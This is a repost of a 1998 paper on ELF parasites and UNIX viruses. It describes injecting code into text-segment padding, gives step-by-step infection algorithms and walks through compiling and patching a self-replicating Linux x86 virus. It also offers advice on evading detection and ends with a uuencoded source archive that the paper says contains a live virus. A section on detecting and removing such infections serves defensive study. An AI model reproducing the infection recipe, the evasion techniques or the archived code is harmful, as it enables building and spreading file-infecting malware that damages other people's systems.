UNIX ELF Parasites and virus(静态EFL文件注入)

来源:互联网 发布:未来5g网络的时延 编辑:程序博客网 时间:2024/05/18 02:04

UNIX ELF Parasites and virus

Silvio Cesare
<silvio@big.net.au>
October 1998

[also see: UNIX Viruses]


INTRODUCTIONThis paper documents the algorithms and implementation of UNIX parasite andvirus code using ELF objects.  Brief introductions on UNIX virus detection andevading such detection are given. An implementation of the ELF parasiteinfector for UNIX is provided, and an ELF virus for Linux on x86 architectureis also supplied.Elementary programming and UNIX knoledge is assumed, and an understanding ofLinux x86 archtitecture is assumed for the Linux implementation.  ELFunderstanding is not required but may be of help.The ELF infection method uses is based on utilizing the page padding on theend of the text segment which provides suitable hosting for parasite code.This paper does not document any significant virus programming techniquesexcept those that are only applicable to the UNIX environment.  Nor does ittry to replicate the ELF specifications.  The interested reader is advisedto read the ELF documentation if this paper is unclear in ELF specifics.ELF INFECTIONA process image consists of a 'text segment' and a 'data segment'.  The textsegment is given the memory protection r-x (from this its obvious that selfmodifying code cannot be used in the text segment).  The data segment isgiven the protection rw-.The segment as seen from the process image is typically not all in use asmemory used by the process rarely lies on a page border (or we can say, notcongruent to modulo the page size).  Padding completes the segment, and inpractice looks like this.key:[...]A complete pageMMemory used in this segmentPPaddingPage Nr#1[PPPPMMMMMMMMMMMM]/#2[MMMMMMMMMMMMMMMM] |- A segment#3[MMMMMMMMMMMMPPPP]/Segments are not bound to use multiple pages, so a single page segment is quitepossible.Page Nr#1      [PPPPMMMMMMMMPPPP]              <- A segmentTypically, the data segment directly proceeds the text segment which alwaysstarts on a page, but the data segment may not.  The memory layout for aprocess image is thus.key:[...]A complete pageTTextDDataPPaddingPage Nr#1      [TTTTTTTTTTTTTTTT]              <- Part of the text segment#2      [TTTTTTTTTTTTTTTT]              <- Part of the text segment#3      [TTTTTTTTTTTTPPPP]              <- Part of the text segment#4      [PPPPDDDDDDDDDDDD]              <- Part of the data segment#5      [DDDDDDDDDDDDDDDD]              <- Part of the data segment#6      [DDDDDDDDDDDDPPPP]              <- Part of the data segmentpages 1, 2, 3 constitute the text segmentpages 4, 5, 6 constitute the data segmentFrom here on, the segment diagrams may use single pages for simplicity. egPage Nr#1      [TTTTTTTTTTTTPPPP]              <- The text segment#2      [PPPPDDDDDDDDPPPP]              <- The data segmentFor completeness, on x86, the stack segment is located after the data segmentgiving the data segment enough room for growth.  Thus the stack is located atthe top of memory (remembering that it grows down).In an ELF file, loadable segments are present physically in the file, whichcompletely describe the text and data segments for process image loading.  Asimplified ELF format for an executable object relevant in this instance is.ELF Header..        Segment 1       <- Text        Segment 2       <- Data..Each segment has a virtual address associated with its starting location.Absolute code that references within each segment is permissible and veryprobable.To insert parasite code means that the process image must load it so that theoriginal code and data is still intact.  This means, that inserting aparasite requires the memory used in the segments to be increased.The text segment compromises not only code, but also the ELF headers includingsuch things as dynamic linking information.  If the parasite code is to beinserted by extending the text segment backwards and using this extramemory, problems can arise because these ELF headers may have to move inmemory and thus cause problems with absolute referencing.  It may be possibleto keep the text segment as is, and create another segment consisting of theparasite code, however introducing an extra segment is certainly questionableand easy to detect.Extending the text segment forward or extending the data segment backward willprobably overlap the segments.  Relocating a segment in memory will causeproblems with any code that absolutely references memory.It may be possible to extend the data segment, however this isn't preferred,as its not UNIX portable that properly implement execute memory protection.Page padding at segment borders however provides a practical location forparasite code given that its size is able.  This space will not interfere withthe original segments, requiring no relocation.  Following the guidline justgiven of preferencing the text segment, we can see that the padding at theend of the text segment is a viable solution.The resulting segments after parasite insertion into text segment padding lookslike this.key:[...]A complete pageVParasite codeTTextDDataPPaddingPage Nr#1      [TTTTTTTTTTTTVVPP]              <- Text segment#2      [PPPPDDDDDDDDPPPP]              <- Data segment...A more complete ELF executable layout is (ignoring section content - see below).ELF HeaderProgram header tableSegment 1Segment 2Section header table optionalIn practice, this is what is normally seen.ELF HeaderProgram header tableSegment 1Segment 2Section header tableSection 1..Section nTypically, the extra sections (those not associated with a segment) are suchthings as debugging information, symbol tables etc.From the ELF specifications:"An ELF header resides at the beginning and holds a ``road map'' describing thefile's organization. Sections  hold the bulk of object file information for the linking view: instructions, data, symbol table, relocation  information, and soon.......A program header table, if present, tells the system how to create a processimage.  Files used to build a process image (execute a program) must have aprogram header table; relocatable files do not need one.  A section headertable contains information describing the file's sections.  Every section hasan entry in the table; each entry gives information such as the section name,the section size, etc.  Files used during linking must have a section headertable; other object files may or may not have one.......Executable and shared object files statically represent programs.  To executesuch programs, the system uses the files to create dynamic programrepresentations, or process images.  A process image has segments that holdits text, data, stack, and so on.  The major sections in this part discuss thefollowing.Program header. This section complements Part 1, describing object filestructures that relate directly to program execution.  The primary datastructure, a program header table, locates segment images within the file andcontains other information necessary to create the memory image for theprogram."After insertion of parasite code, the layout of the ELF file will look likethis.ELF HeaderProgram header tableSegment 1- The text segment of the host- The parasiteSegment 2Section header tableSection 1..Section nThus the parasite code must be physically inserted into the file, and thetext segment extended to see the new code.An ELF object may also specify an entry point of the program, that is, thevirtual memory location that assumes control of the program.  Thus toactivate parasite code, the program flow must include the new parasite.  Thiscan be done by patching the entry point in the ELF object to point (jump)directly to the parasite.  It is then the parasite's responsibility that thehost code be executed - typically, by transferring control back to the hostonce the parasite has completed its execution.From /usr/include/elf.htypedef struct{  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */  Elf32_Half    e_type;                 /* Object file type */  Elf32_Half    e_machine;              /* Architecture */  Elf32_Word    e_version;              /* Object file version */  Elf32_Addr    e_entry;                /* Entry point virtual address */  Elf32_Off     e_phoff;                /* Program header table file offset */  Elf32_Off     e_shoff;                /* Section header table file offset */  Elf32_Word    e_flags;                /* Processor-specific flags */  Elf32_Half    e_ehsize;               /* ELF header size in bytes */  Elf32_Half    e_phentsize;            /* Program header table entry size */  Elf32_Half    e_phnum;                /* Program header table entry count */  Elf32_Half    e_shentsize;            /* Section header table entry size */  Elf32_Half    e_shnum;                /* Section header table entry count */  Elf32_Half    e_shstrndx;             /* Section header string table index */} Elf32_Ehdr;e_entry is the entry point of the program given as a virtual address.  Forknowledge of the memory layout of the process image and the segments thatcompromise it stored in the ELF object see the Program Header informationbelow.e_phoff gives use the file offset for the start of the program header table.Thus to read the header table (and the associated loadable segments), you maylseek to that position and read e_phnum*sizeof(Elf32_Pdr) bytes associated withthe program header table.It can also be seen, that the section header table file offset is also given.It was previously mentioned that the section table resides at the end ofthe file, so after inserting of data at the end of the segment on file, theoffset must be updated to reflect the new position./* Program segment header.  */typedef struct{  Elf32_Word    p_type;                 /* Segment type */  Elf32_Off     p_offset;               /* Segment file offset */  Elf32_Addr    p_vaddr;                /* Segment virtual address */  Elf32_Addr    p_paddr;                /* Segment physical address */  Elf32_Word    p_filesz;               /* Segment size in file */  Elf32_Word    p_memsz;                /* Segment size in memory */  Elf32_Word    p_flags;                /* Segment flags */  Elf32_Word    p_align;                /* Segment alignment */} Elf32_Phdr;Loadable program segments (text/data) are identified in a program header by ap_type of PT_LOAD (1).  Again as with the e_shoff in the ELF header, thefile offset (p_offset) must be updated in later phdr's to reflect their newposition in the file.p_vaddr identifies the virtual address of the start of the segment.  Asmentioned above regarding the entry point.  It is now possible to identifywhere program flow begins, by using p_vaddr as the base index and calculatingthe offset to e_entry.p_filesz and p_memsz are the file sizes and memory sizes respectively thatthe segment occupies.  The use of this scheme of using file and memory sizes,is that where its not necessary to load memory in the process from disk, youmay still be able to say that you want the process image to occupy itsmemory.The .bss section (see below for section definitions), which is for uninitializeddata in the data segment is one such case.  It is not desirable thatuninitialized data be stored in the file, but the process image must allocatedenough memory.  The .bss section resides at the end of the segment and anymemory size past the end of the file size is assumed to be part of thissection./* Section header.  */typedef struct{  Elf32_Word    sh_name;                /* Section name (string tbl index) */  Elf32_Word    sh_type;                /* Section type */  Elf32_Word    sh_flags;               /* Section flags */  Elf32_Addr    sh_addr;                /* Section virtual addr at execution */  Elf32_Off     sh_offset;              /* Section file offset */  Elf32_Word    sh_size;                /* Section size in bytes */  Elf32_Word    sh_link;                /* Link to another section */  Elf32_Word    sh_info;                /* Additional section information */  Elf32_Word    sh_addralign;           /* Section alignment */  Elf32_Word    sh_entsize;             /* Entry size if section holds table */} Elf32_Shdr;The sh_offset is the file offset that points to the actual section.  Theshdr should correlate to the segment its located it.  It is highly suspiciousif the vaddr of the section is different to what is in from the segmentsview.To insert code at the end of the text segment thus leaves us with the followingto do so far.* Increase p_shoff to account for the new code in the ELF header* Locate the text segment program header* Increase p_filesz to account for the new code* Increase p_memsz to account for the new code* For each phdr who's segment is after the insertion (text segment)* increase p_offset to reflect the new position after insertion* For each shdr who's section resides after the insertion* Increase sh_offset to account for the new code* Physically insert the new code into the file - text segment p_offset  + p_filesz (original)There is one hitch however. Following the ELF specifications, p_vaddr andp_offset in the Phdr must be congruent together, to modulo the page size.key:~= is denoting congruency.p_vaddr (mod PAGE_SIZE) ~= p_offset (mod PAGE_SIZE)This means, that any insertion of data at the end of the text segment on thefile must be congruent modulo the page size.  This does not mean, the textsegment must be increased by such a number, only that the physical file beincreased so.This also has an interesting side effect in that often a complete page must beused as padding because the required vaddr isn't available.  The followingmay thus happen.key:[...]A complete pageTTextDDataPPaddingPage Nr#1      [TTTTTTTTTTTTPPPP]              <- Text segment#2      [PPPPPPPPPPPPPPPP]              <- Padding#3      [PPPPDDDDDDDDPPPP]              <- Data segmentThis can be taken advantage off in that it gives the parasite code more space,such a spare page cannot be guaranteed.To take into account of the congruency of p_vaddr and p_offset, our algorithmis modified to appear as this.* Increase p_shoff by PAGE_SIZE in the ELF header* Locate the text segment program header* Increase p_filesz by account for the new code* Increase p_memsz to account for the new code* For each phdr who's segment is after the insertion (text segment)* increase p_offset by PAGE_SIZE* For each shdr who's section resides after the insertion* Increase sh_offset by PAGE_SIZE* Physically insert the new code and pad to PAGE_SIZE, into the file -  text segment p_offset + p_filesz (original)Now that the process image loads the new code into being, to run the new codebefore the host code is a simple matter of patching the ELF entry point andthe virus jump to host code point.The new entry point is determined by the text segment v_addr + p_filesz(original) since all that is being done, is the new code is directly prependingthe original host segment.  For complete infection code then.* Increase p_shoff by PAGE_SIZE in the ELF header* Patch the insertion code (parasite) to jump to the entry point  (original)* Locate the text segment program header* Modify the entry point of the ELF header to point to the new  code (p_vaddr + p_filesz)* Increase p_filesz by account for the new code (parasite)* Increase p_memsz to account for the new code (parasite)* For each phdr who's segment is after the insertion (text segment)* increase p_offset by PAGE_SIZE* For each shdr who's section resides after the insertion* Increase sh_offset by PAGE_SIZE* Physically insert the new code (parasite) and pad to PAGE_SIZE, into  the file - text segment p_offset + p_filesz (original)This, while perfectly functional, can arouse suspicion because the the newcode at the end of the text segment isn't accounted for by any sections.Its an easy matter to associate the entry point with a section however byextending its size, but the last section in the text segment is going to looksuspicious.  Associating the new code to a section must be done however asprograms such as 'strip' use the section header tables and not the programheaders.  The final algorithm is using this information is.* Increase p_shoff by PAGE_SIZE in the ELF header* Patch the insertion code (parasite) to jump to the entry point  (original)* Locate the text segment program header* Modify the entry point of the ELF header to point to the new  code (p_vaddr + p_filesz)* Increase p_filesz by account for the new code (parasite)* Increase p_memsz to account for the new code (parasite)* For each phdr who's segment is after the insertion (text segment)* increase p_offset by PAGE_SIZE* For the last shdr in the text segment* increase sh_len by the parasite length* For each shdr who's section resides after the insertion* Increase sh_offset by PAGE_SIZE* Physically insert the new code (parasite) and pad to PAGE_SIZE, into  the file - text segment p_offset + p_filesz (original)infect-elf-p is the supplied program (complete with source) that implementsthe elf infection using text segment padding as described.INFECTING INFECTIONSIn the parasite described, infecting infections isn't a problem at all.  Byskipping executables that don't have enough padding for the parasite, thisis solved implicitly.  Multiple parasites may exist in the host, but their isa limit of how many depending on the size of the parasite code.NON (NOT AS) TRIVIAL PARASITE CODEParasite code that requires memory access requires the stack to be usedmanually naturally.  No bss section can be used from within the virus code,because it can only use part of the text segment.  It is strongly suggestedthat rodata not be used, in-fact, it is strongly suggested that no locationspecific data be used at all that resides outside the parasite at infectiontime.Thus, if initialized data is to be used, it is best to place it in the textsegment, ie at the end of the parasite code - see below on calculating addresslocations of initialized data that is not known at compile/infection time.If the heap is to be used, then it will be operating system dependent.  InLinux, this is done via the 'brk' syscall.The use of any shared library calls from within the parasite should be removed,to avoid any linking problems and to maintain a portable parasite in filesthat use varying libraries.  It is thus naturally recommended to avoid usinglibc.Most importantly, the parasite code must be relocatable.  It is possible topatch the parasite code before inserting it, however the cleanest approachis to write code that doesn't need to be patched.In x86 Linux, some syscalls require the use of an absolute address pointing toinitialized data.  This can be made relocatable by using a common trick usedin buffer overflow code.jmpAB:pop %eax; %eax now has the address of the string.; continue as usual..A:call B.string /"hello/"By making a call directly proceeding the string of interest, the address ofthe string is pushed onto the stack as the return address.BEYOND ELF PARASITES AND ENTER VIRUS IN UNIXIn a UNIX environment the most probably method for a typical garden varietyvirus to spread is through infecting files that it has legal permission to doso.  A simple method of locating new files possible to infect, is by scanning thecurrent directory for writable files.  This has the advantage of beingrelatively fast (in comparison to large tree walks) but finds only a smallpercentage of infect-able files.Directory searches are however very slow irrespectively, even without largetree walks.  If parasite code does not fork, its very quickly noticed what ishappening.  In the sample virus supplied, only a small random set of filesin the current directory are searched.Forking, as mentioned, easily solves the problem of slowing the startup tothe host code, however new processes on the system can be spotted as abnormalif careful observation is used.The parasite code as mentioned, must be completely written in machine code,this does not however mean that development must be done like this.Development can easily be done in a high level language such as C and thencompiled to asm to be used as parasite code.A bootstrap process can be used for initial infection of the virus into a hostprogram that can then be distributed.  That is, the ELF infector code is used,with the virus as the parasite code to be inserted.THE LINUX PARASITE VIRUSThis virus implements the ELF infection described by utilizing the padding atthe end of the text segment.  In this padding, the virus in its entirety iscopied, and the appropriate entry points patched.At the end of the parasite code, are the instructions.movl%ebp, $XXXXjmp*%ebpXXXX is patched when the virus replicates to the host entry point.  Thisapproach does have the side effect of trashing the ebp register which may ormay not be destructive to programs who's entry points depend on ebp being seton entry.  In practice, I have not seen this happen (the implemented Linuxvirus uses the ebp approach), but extensive replicating has not been performed.On execution of an infected host, the virus will copy the parasite (virus)code contained in itself (the file) into memory.The virus will then scan randomly (random enough for this instance) throughthe current directory, looking for ELF files of type ET_EXEC or ET_DYN toinfect.  It will infect up to Y_INFECT files, and scan up to N_INFECT files intotal.If a file can be infected, ie, its of the correct ELF type, and the paddingcan sustain the virus, a a modified copy of the file incorporating the virusis made.  It then renames the copy to the file its infecting, and thus itis infected.Due to the rather large size of the virus in comparison to the page size(approx 2.3k) not all files are able to be infected, in fact only near half onaverage.DEVELOPMENT OF THE LINUX VIRUSThe Linux virus was completely written in C, and strongly based around theELF infector code.  The C code is supplied as elf-p-virus.c  The code requiresthe use of no libraries, and avoids libc by using a similar scheme to the_syscall declarations Linux employs modified not to use errno.Heap memory was used for dynamic allocation of the phdr and shdr tables using'brk'.Linux has some syscalls which require the address of initialized strings tobe passed to it, notably, open, rename, and unlink.  This requires initializeddata storage.  As stated before, rodata cannot be used, so this data wasplaced at the end of the code.  Making it relocatable required the use of theabove mentioned algorithm of using call to push the address (return value)onto the stack.  To assist in the asm conversion, extra variables weredeclared so to leave room on the stack to store the addresses as in somecases the address was used more than once.The C code form of the virus allowed for a debugging version which producesverbose output, and allows argv[0] to be given as argv[1].  This isadvantageous because you can setup a pseudo infected host which is nonreplicating.  Then run the virus making argv[0] the name of the pseudo infectedhost.  It would replicate the parasite from that host.  Thus it was possible totest without having a binary version of a replicating virus.The C code was converted to asm using the c compiler gcc, with the -S flag toproduce assembler.  Modifications were made so that use of rodata forinitialized data (strings for open, unlink, and rename), was replaced withthe relocatable data using the call address methodology.Most of the registers were saved on virus startup and restored on exit(transference of control to host).The asm version of the virus, can be improved tremendously in regards toefficiency, which will in turn improve the expected life time and replicationof the virus (a smaller virus can infect more objects, where previously thepadding would dictate the larger virus couldn't infect it).  The asm virus waswritten with development time the primary concern and hence almost zero timewas spent on hand optimization of the code gcc generated from the C version.In actual fact, less than 5 minutes were spent in asm editing - this isindicative that extensive asm specific skills are not required for a nonoptmised virus.The edited asm code was compiled (elf-p-virus-egg.c), and then using objdumpwith the -D flag, the addresses of the parasite start, the required offsets forpatching were recorded.  The asm was then edited again using the newinformation.  The executeable produced was then patched manually for any bytesneeded. elf-text2egg was used to extract hex-codes for the complete length ofthe parasite code usable in a C program, ala the ELF infector code.  The ELFinfector was then recompiled using the virus parasite.# objdump -D elf-p-virus-egg..08048143 <time>: 8048143:       55              pushl  %ebp..08048793 <main0>: 8048793:       55              pushl  %ebp.. 80487f8:       6a 00           pushl  $0x0 80487fa:       68 7e 00 00 00  pushl  $0x7e 80487ff:       56              pushl  %esi 8048800:       e8 2e fa ff ff  call   8048233 <lseek>.. 80489ef:       bd 00 00 00 00  movl   $0x0,%ebp 80489f4:       ff e5           jmp    *%ebp080489f6 <dot_jump>: 80489f6:       e8 50 fe ff ff  call   804884b <dot_call> 80489fb:       2e 00 e8        addb   %ch,%al080489fd <tmp_jump>: 80489fd:       e8 52 f9 ff ff  call   8048354 <tmp_call> 8048a02:       2e 76 69        jbe    8048a6e <init+0x4e> 8048a05:       33 32           xorl   (%edx),%esi 8048a07:       34 2e           xorb   $0x2e,%al 8048a09:       74 6d           je     8048a78 <init+0x58> 8048a0b:       70 00           jo     8048a0d <tmp_jump+0x10>0x8048143 specifies the start of the parasite (time).0x8048793 is the entry point (main0).0x80487fb is the lseek offset which is the offset in argv[0] to the parasite.0x80489f0 is the host entry point.0x8048a0d is the end of the parasite (not inclusive).0x8048a0d - 0x8048143 (2250)is the parasite length.0x8048793 - 0x8048143 (1616) is the entry point as a parasite offset.0x80487fb - 0x8048143 (1720) is the seek offset as a parasite offset.0x80489f0 - 0x8048143 (2221) is the host entry point as a parasite offset.# objdump --all-headers elf-p-virus-egg..Program Header:    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12         filesz 0x00015960 memsz 0x00015960 flags r-x..The seek offset as a file offset is 0x80487fb - 0x08048000 + 0x00000000 (2043)(<seek address from above> - <vaddr> + <off>)To patch the initial seek offset, an infection must be manually performed,and the offset recorded.  The infected host is not functional in this form.# infect-elf-p hostParasite length: 2251, Host entry point index: 2221, Entry point offset: 1616Host entry point: 0x8048074Padding length: 3970New entry point: 0x80486ceParasite file offset: 126Infection Done# vpatch elf-p-virus-egg 2043 126The supplied program elf-egg2text will convert the address range specifiedon the command line, and found using the ELF loadable segments in the file toa hex string for use in C.usage: elf-egg2text filename start stop# elf-egg2text elf-p-virus-egg 0x08048143 0x8048a0d > parasite-v.cparasite-v.c was edited manually to declare the hex string as the variabledchar parasite[], and likewise these variables were declared.long hentry = 2221;long entry = 1616;int plength = 2250;The infector was recompiled and thus can infect the host it was compiled formaking it a live virus.  null-carrier is the supplied host program that theinfector is compiled for.This completed the manual infection of the virus to a host.  The newly infectedhost would then attempt replication on execution.  A live virus has beenincluded in the source package (live-virus-be-warned).  A simplified carrierprogram (carrier.S) was used to host the virus (null-carrier is the unfectedhost as stated).IMPROVING THE LINUX VIRUSThe first major change that would increase the life time and replication ratesof the virus is to optimise the code to be space efficient.  Looking at a 50%size decrease is probably realistic when optimised.The replication is notable rather slow scanning only the current directory.The virus may be modified to do small tree walks increasing infection ratesdramatically.The virus is easily detected - see below.VIRUS DETECTIONThe virus described is relatively easy to detect.  The blatant oddity is thatthe entry point of the program isn't in a normal section or not in a section atall.Typically the last section in the text segment is .rodata which obviouslyshouldn't be the entry point.  Likewise, it is suspicious if a program doesnot have a corresponding section then this arouses any would be virus scanner.Also if no section table at all, which will disguise what section the entrypoint is in, is certainly an odd event (even though this is optional).Removal of the virus described here, is similar to infection, requiringdeletion of the virus code, modification of the ELF headers to reflect segmentrelocation in the file and patching of the entry point to jump to the propercode.Location of the correct entry point can be easily seen by disassembling theexecutable using objdump, matching the entry point of the infected file tothe disassembled code, and tracing through the code to find where the parasitecode returns flow back to the host.$ objdump --all-headers host# a parasite infected host>host:     file format elf32-i386>host>architecture: i386, flags 0x00000112:>EXEC_P, HAS_SYMS, D_PAGED>start address 0x08048522..The entry point is thus seen as 0x08048522, the entry point of the suspectedparasite code.$ disassemble --disassemble-all host>host:     file format elf32-i386>>Disassembly of section .interp:>>080480d4 <.interp>:> 80480d4:       2f              das> 80480d5:       6c              insb   (%dx),%es:(%edi)..>Disassembly of section .text:>>08048400 <_start>:> 8048400:       31 ed           xorl   %ebp,%ebp> 8048402:       85 d2           testl  %edx,%edx> 8048404:       74 07           je     804840d <_start+0xd>..>Disassembly of section .rodata:>>0804851c <.rodata>:> 804851c:       48              decl   %eax> 804851d:       6f              outsl  %ds:(%esi),(%dx)> 804851e:       73 74           jae    8048594 <_fini+0x94>> 8048520:       0a 00           orb    (%eax),%al> 8048522:       b8 00 84 04 08  movl   $0x8048400,%eax> 8048527:       ff e0           jmp    *%eax>        ...>Disassembly of section .data:..Looking at the entry point code, which looks obviously to be parasite codesince its residing in the .rodata section, we have.movl$0x8048400,%eaxjmp*%eaxThis code is easily seen to be jumping to _start, the original host code.# entry host 0x808400The parasite code is thus easily removed from program flow by patching theentry point to skip the parasite code.On occasion no section matches the parasite code and hence the entry point. objdump will only disassemble sections so thus we cant see the parasite code asis.  However, gdb can be used to disassemble manually, and the same method ofmanually finding the host entry point can be used as above.Automated virus detection of these variety of UNIX virus is practical bydetecting missing section headers and/or entry points to non permissiblesections or segments.Typically, the default entry point is _start, however this can be changed inlinking.  If a virus has been found in a file, and the host entry point isindeterminable for any reason, it may be beneficial to patch the entry pointto _start.  This however is still guesswork and not totally reliable.Typical general virus detection algorithms are directly applicable in UNIX,including signature strings, code flagging, file integrity checking etc.EVADING VIRUS DETECTION IN ELF INFECTIONThe major problem in terms of evading detection with the parasite described,is that the entry point changes to a suspicious position.Ideally, the entry point of the program either wouldn't change or stay withinexpected sections.A possible method using the parasite described would be to find unused memoryin normal entry point sections such as the .text section, and insert code tojump to the parasite code.  This would require only a small number of bytes,and such empty space is common, as can be noted by looking through disassemblyof executables.Alternatively, one of the original ideas of where to insert the parasite code,thrown away,  by extending the text segment backwards may be possible.  Theparasite code and entry point would belong in the .text section and thusseemingly be quite normal.CONCLUSIONThe algorithms and implementation presented gives a clear example and proof ofconcept that UNIX while not popular for, is actually a viable breeding groundfor parasites and virus.--begin 644 unix-linux-pv-src.tgzM'XL(`#KH)C8``^P]_7/3R)+[J_57S(6%9P?;R/)''&?A%2/$'G4A;`6XO;V%M<BF2[(C8DDN2G;!O]W^_[IX/S4BRG8#AU=[A*K`T']T]_3TM>;*,PIO6+(R6M-ZW%JI4FWJ,?=OYA/?N@WV<_,/S8A6]QPP:#3J<_Z`ZZ7<8Z3L_N_,#ZNR>EM_%FFF9LP]D,2Q]FF<=OZ_Z*?94G^K]RK8!+.@MWAZ-CVH-=;*W/'!*_DWQ/<M@/Q[G5[W!V;OCH3UG__G/C/^9H_9U/.LX^>G3U^/@9O6:X>U)O$/S%J3Q)T'MK44<1EF0L-:4W6.M7]S9S#H^/7EZ]OSEZ0E,J(71)/"R5C";M!:,_F^MPF29MMOS@8CEEJX6;>9=&1S"=LO=6K::W13$?CFU!E"6?Z"H+;C('AVM#VRE-CI:SM6<MSDR0,$LL"JD9K*=%IJ("M@.BMHYI^U_:LVH_UX^,&@_^)4PUF]K-6;+1PM:(2-@Z++=7!$IP1"MY;%R1[5^'?57-F#$_FU9>E<&-46;N*F81;`&+VC"MC:MH0A=;^%K$/P=Z6*L`MMZ]NSD'^]>&")4*S5T1<XE)>.*"-:9A1[JWL;I0GLVM`'AC`K"L>S5O45"K@H[BJ$*3L=B6H1B$C>.=*K2ET47"25.$`HYJXJ+]1@&-MXC3S9^$%4UT(P=1]6HG>Q&;A*A`(+H+6M9M$@0_#VH/,"UDSRKN<QS[XY/INMRYL%;C2R:LD<O`1*6;F"AO7O=F;?/W?^E.._YHYVA&-K_+=[%/]MI]?M.WV,M__WNX'O/_Q:?>V'DS99^P'X"30!7T[Y/8N5MT!#&9M/$B[*9V00:4YR6A-&TM!`K<&+99JSCTV0QFU2&Q8!._R4YFDZXS/KGT$[8?P//-ZU]6+9RP>A*X?AU'M8&N3I>'O03RI/S$-]A^/BRTPK;8(DB1.ZGLX=Z]QA'G&39C5.WCYI/7A`H61M-U_4<5KK23`.?5!YH./T^:NG+YKL#;/0`"<+6$XV@4D^@&ZRO;,XPZ'OHS+XM/S'^9FSNAA&MSDVF7I-YEZ!C^W"]^NT#7QLM'&9H*T=:C@1].`V7Y[`'#YB/MZ:XA9YFZTV"D93>8OD>0NK'?Z/Y#%:$:GL>`1X#V(0&,%T%4)UH['YKL]?C/MV>NSTU/)`$Z!,3/QFX]7O,8Y'(>&A+#42-`HP@<DHR,8@LUB$7LG1#'EF*Q^M/VV,F'US_P8H;C)%`TYL!V-:#%$/:TV#313_<KXS>BT!!S`&5]1AHX*<_.?XMS<G;1@5L&K@&N+X2(!S4,(MGG'0'2#][=WK:9)U!CO4Z@80L)T>90,D"-`-0ME-#D-91/$?/!`,&SX>[/[V'_+_RICO]&ROK%.#;'?P<"_X#O_YU>OT?[__[`M=K['_V_QN46P&H_==#X>U_>L+)P'D/HOENGEC-T/+A96;1ZO/#)=-/F]ZKL1M?<,Z=C2:6M./G2[<NC</#/YHWPQMT=/JE4=C0Q,Q`/!X(?$F0699%/G5+LCIM]7=#S@0W?3L@J..H-B_GF3W<#97+",Q])WSKV#OB&^TXOYBBWZ_7L.ZPMS,ZMX^OH*]%)K0/5ZN?4[T@[$TH)OY9Z=G>DG=,@PU0/_4IT5G*XT^OLAGC,*K/EMX3O2#&/6ISOQZX/=T$,)]#=5@,-=F9C[Y6[L#G3O*(S2-N%;TKTC?^S%BT_CMA9MDH3O;0GZZO$"/]N%`PA*#_3"_3D-SG3=QPH<T^3A!/`>"`[PY)^BF*9=IMU3Y>!*Q]VAE8L)%T<4DP7*T*,$#?@2*6@)D$%)B+3%.T(DHL,*.>6377]U%WM';$B(D92A]S]&!$EA]N0:6*KQ$;J<1=T?*3H0L89#6L9Y^+T`V308%36'D1!M4A0"<352/;J:VY_)6J$^[HV@M[#V+$@S03_O_S@S.,T;/Y?1.7.*C!4*Z:J>M^0)ZG![R['"DO!GOQ8Z1X@NDCSE?-%NZ49?$+7ZIE'V#/?$G"6/8+=[*]&!+M=P?+(QB.Z0V$$MN"69#[ZW)J=;J.U"3.AE8'&GL"AL69E<T7XX_+^<+""P0SM$@MK=1Q;C128^H[D7M/QU%!7NRK')_N]2GL=&`;4=PPI.P>RH],Y..S9W4'OMH*GPZZ,`/35K=96VNUQ-KV'A#K/#.->D#03>->?U]'E/9%>,1`Q=6[8.1*M$MC'TC162SU:VF#;CF#`VN%0TZ#77YU87"IV%#I<,M$T"*K%0YCRYZJ2D2L](%MW?/(N]%T&_P(#!UH<PEKS/!*&E!71M?LF>1TJ/@9&N0(AZ7/B.97=)W/M5JXM2UU/2NX@9[.^6"^GQ$-*>E*I->L1PNG=6J6+;I0(I1QMK6/,/=3,I%5#J]N_M$DII-;HME8A8'P>U(+&)7YH.IJ@,/24YX6J5A^<^Q88QN3%R`X$V-8O;SD`'MROT[I]&Q^2V,&2H;,F%R"&80;9'5^#<-Z?%[-H)0'C^G6[!5&B?."I5E]FP=M90Y2=>8Y&'0([@EN<@O5QB,_B<06:4H^03>$OK(M-Q*K,<Q7I@1>'MM)<TPUM+A*B/'7MXU27K.9OTE!1UZ_T."CM@ID6%BXX.U"-VQQ)+D,:):DLLZ4G.<FIMM@U]%Q@/Q6/4S4BJ0]<Q]`EN=9W%9VUY`*WPH#D/M;2E.T1E&FS21/UX^IMSM?,7B@@?.I5D7IDF.ON253*9],Z]DFD^55QK4OY97*GH:Y55ZA@QZAU7$5/F6M?F>TS98-"6-F@+F.D:6OTUGN@/I=Q.-(/`K+>G^J.T17$DWJN8:^?%]`G`*,M><Y1=%[*&6GZ8Y*BC*G?'>4K%0RLL)O>=KOI=]`V<R>LX2ZYAH'!AI(5"?B>M="L?+Q#^0<5.2H.JW"`.58E^I[!ENK,)41%;8A[>QH*(8?K^HHA7YM,'FL6MM-W2B`BMI9BQ1F?SMK3OW+L6K+W`9=]X<Y*17N)>M&^R*_4$YE2JZ)(G77BOJMN]!02K)S4HK^NU/8LW%PM(9BNEO:$5=1]9G^O"`2D5JH#'JSB-;Y=T647G:ZM!6U%9O$J3%7@+!4,ODQU2K49G4,5A942W/HVK#FA;7O>S^52.22O88T>!:N#M]@:A;M?YM!RIR]H^+&N[P=MM2K_#).:PLE1V2YTO,K!$TQ=)<[C-46V+!OS1MU=<(2IHI/:>0GX-D8P`08]9OMZL(B:^CNRH`E?TN5%'P`#,T!_."0GZ)7?G&ML;M%%]?5(VB7D(=D(N6@=VNW14^<"H`1P.C6*L&?8N=E2LD4D04-=ESMQ%<DM[-L5.IV!+95G6ZG3+;B'RK!C%!^<_M"L=<E6,]'^T7'ZU.$<%JJBG0-'=`R*M,QS,K)VN;1=F##H#WJ$P5R56!4N_55:G;=3+>IZ&HI^4Z_"P`FW'MK/TI=-SM4L6L"OJ%7CG.<+M+*>P$]?7Z-^O1K<V]^#3N5`/.JKPS-R=5]]:US)`2]PY^MG/$J.%[P*OC:M-OI'^1%'+.`O9ZAA5(]OC:TH9!*'=U!KU/G'4.C9O+C@7,HMMTFS#-@9^N'*B!_('J+TT*S`*(_%93?L:/SVRY/E,MNGPT[^@`YGY2+K'ZZOM`Z@Q!^;VO/281[[B4&3TT"XP>H/FHBH,-Q"F%X'!(2G(A4>:`&10#A'"Q7<+MGH6J;<..VH?W"_Y(]9<43R-4T6(4+SIVE4P&]M#T.!H3O/"5#'-7X@R&N6GWM#[:GO/KD<B%N%=84A75HZX:_98^N>]N-8[:4RW;LTW(9KL_HB#GYLT%5G5J?M3Q%W.J(*4]`X2F4